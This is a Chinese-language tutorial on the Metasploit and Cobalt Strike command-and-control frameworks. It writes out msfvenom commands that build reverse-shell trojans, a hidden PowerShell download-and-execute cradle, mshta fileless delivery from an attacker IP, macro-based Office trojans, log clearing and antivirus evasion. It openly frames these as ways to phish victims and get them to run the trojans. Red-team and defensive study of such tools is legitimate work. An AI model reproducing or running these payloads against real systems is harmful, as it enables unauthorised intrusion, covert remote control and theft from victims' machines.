C2 工具
Metasploit
简介
官方网站:https://www.metasploit.com/
Metasploit(简称 MSF)是一款功能强大的开源渗透测试框架,Kali Linux 默认自带。运行 msfconsole
即可进入 MSF 终端,支持完整的内网渗透流程,包括漏洞扫描、攻击、后渗透等。
安装
Ubuntu/Debian 安装
建议在具有公网 IP 的云服务器上安装,以便实现真实的钓鱼攻击和接收受害者的反向连接。
安装步骤(参考 官方文档):
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
Windows 安装
- 下载 官方安装包。
- 运行安装程序,安装完成后点击
msfconsole.bat
启动 Metasploit。
使用
默认安装路径(Kali Linux):/usr/share/metasploit-framework
核心组件
msfconsole:启动 Metasploit 的命令行界面。
msfvenom:用于生成可执行文件或脚本(木马)。
modules 模块目录:
- auxiliary:辅助模块(如端口扫描、存活探测、漏洞检测)。
- exploits:攻击模块(用于漏洞利用)。
- payloads:攻击载荷(控制受害者主机的代码)。
- post:后渗透模块(包括代理、横向移动、权限维持、提权、痕迹清理等)。
- encoders/evasion/nops:编码、加密模块,用于规避杀毒软件、IDS/IPS 检测。
msfconsole 使用流程
- 搜索模块:
search portscan
(搜索端口扫描模块)。 - 使用模块:
use [模块编号]/[模块名称]
,退出模块用back
。 - 查看选项:
show options
或options
。 - 设置选项:
set [选项名] [选项值]
(优先设置必填选项)。 - 运行模块:
run
或exploit
。
Meterpreter 常用命令
Meterpreter 提供强大的后渗透功能。常用命令如下:
# 退出 Meterpreter
exit
# 将会话放入后台
bg / background
# 查看后台会话
sessions
# 进入指定会话
sessions [会话ID]
# 查看 Meterpreter 帮助
? / help
# 打开目标系统的 Shell(Linux: Bash, Windows: CMD)
shell
# 上传文件
upload
# 下载文件
download
# 截图
screenshot
# 查看 ARP 缓存表
arp
# 查看网卡信息
ifconfig
# 查看系统信息
sysinfo
# 获取权限信息
getprivs
# 清除日志
clearev
msfvenom 使用
msfvenom
用于生成木马程序(如可执行文件或脚本),建议在攻击机的 Linux 终端运行,而非在 msfconsole
或 Meterpreter 中。
常用命令:
# 查看支持的木马格式
msfvenom --list formats
# 生成 Windows 木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.101 LPORT=24453 -f exe -o 123.exe
# 生成带编码的 Windows 木马(较旧方式)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.101 LPORT=24453 -f exe -e x86/shikata_ga_nai -o 123.exe
# -e 指定编码方式(查看编码:msfvenom --list encoders)
# -i 指定编码次数
# 生成 Linux 木马
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.2.101 LPORT=24453 -f elf -o 123.elf
Payload 类型:
- Staged Payload(分段式):如
windows/x64/meterpreter/reverse_tcp
,文件小,上线时需从攻击机下载额外数据。 - Stageless Payload(无分段):如
windows/x64/meterpreter_reverse_tcp
,文件较大,直接上线,无需额外下载。
查看 Payload:
msfvenom --list payloads
# 可以查看 msfvenom 可以支持那些 Payload
诱导受害者执行木马:
- 利用目标系统中的 RCE 或文件上传漏洞,上传并执行木马。
- 通过钓鱼攻击诱导受害者运行木马。
攻击者监听:
在 msfconsole
中设置监听:
handler -p [生成木马时的 Payload] -H [LHOST] -P [LPORT]
web_delivery
模块:exploit/multi/script/web_delivery
通过在目标服务器内存中直接加载 Payload 执行,无需文件落地。前提是目标系统需支持指定环境(如 Python 或 PHP)。
示例(PHP Payload):
set payload php/meterpreter/reverse_tcp
show targets
set target 1
CoblatStrike
Cobalt Strike(简称 CS)是一款基于图形化界面的商业 C2 工具,由客户端和服务端组成,功能强大,适合团队协作渗透测试。
服务端与客户端
服务端
在服务器上运行以下命令启动:
./teamserver [服务器 IP] [密码]
# 示例
./teamserver 192.168.2.243 123123
修改服务端端口:
编辑 teamserver
文件:
vim teamserver
客户端
双击客户端程序启动:
连接服务端,输入与服务端一致的 Host
、Port
和 Password
:
配置监听器
- 点击
Cobalt Strike --> Listeners
或耳机图标。 - 点击
Add
,配置监听器(如监听 80 端口)。 - 保存配置,服务端将开启监听。
生成木马文件(EXE)
- 点击
Payloads
,选择 Payload 类型。 - 选择监听器和架构(32/64 位),生成
.exe
文件。 - 保存到白名单文件夹。
模拟钓鱼:
受害者运行 .exe
文件后,Beacon 将上线:
Beacon 管理:
- 通信间隔:默认
sleep
时间表示通信频率,可通过sleep [秒数]
修改(如sleep 0
为实时通信)。 - 远程桌面:右键 Beacon,
Explore --> VNC
,取消View Only
可控制目标桌面:
- 文件管理:
Explore --> File Browser
查看文件:
- 进程管理:
Explore --> Process List
查看进程。 - 截图:
Explore --> Screenshot
获取屏幕截图。 - 断开连接:
Session --> Exit
和Session --> Remove
。
生成木马文件(HTML Application)
点击
Payload --> HTML Application
,配置并生成木马:开放下载:
- 运行
python -m http.server
托管文件。
- 或通过
Site Management --> Host File
提供下载。
- 运行
受害者执行以下命令:
mshta http://192.168.2.101/download/file.ext
即可实现无文件落地上线。
生成木马文件(Office 宏)
- 点击
Payload --> MS Office Macro
,按提示(10 步)配置并生成.docm
文件: - 受害者打开
.docm
文件并启用宏,即可上线。
Web Delivery
点击
Attacks --> Scripted Web Delivery(S)
,生成链接。目标执行以下命令:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.2.101:80/a'))"
即可上线:
Metasploit 与 Cobalt Strike 联动
Beacon 转 Meterpreter
Metasploit 监听:
handler -p windows/meterpreter/reverse_http -H 192.168.2.101 -P 23444
CS 配置外部监听器: 在 CS 中创建监听器,IP 和端口与 Metasploit 一致:
发送 Beacon 到 Metasploit: 右键 Beacon,
Access --> Spawn
,选择外部监听器:
Meterpreter 转 Beacon
确保目标已上线 Metasploit。
在 CS 中创建监听器。
在 Metasploit 中执行:
use exploit/windows/local/payload_inject set payload windows/meterpreter/reverse_http set lhost cs监听器ip set lport cs监听器port set DisablePayloadHandler True set session meterpreterID run
CS 的 Beacon 将上线:
Cobalt Strike 插件
在 Cobalt Strike --> Script Manager
中加载 .cna
文件即可安装插件。
推荐插件:
CrossC2 安装与使用
配置 CrossC2:
编辑
.cna
文件:- 将
$CC2_PATH
替换为genCrossC2.exe
的绝对路径(Windows 路径中\
需写为\\
)。 - 将
$CC2_BIN
替换为genCrossC2.exe
。
- 将
将服务端的
.cobaltstrike.beacon_keys
文件复制到客户端目录。在 Cobalt Strike 客户端加载
.cna
文件,菜单中将出现 CrossC2 选项。
生成 Linux 木马:
- 创建 HTTPS Beacon 监听器。
- 使用 CrossC2 插件生成木马文件
t_cc2.out
:
上线:
- 将
t_cc2.out
传输到目标 Linux 系统。 - 目标运行木马文件即可上线。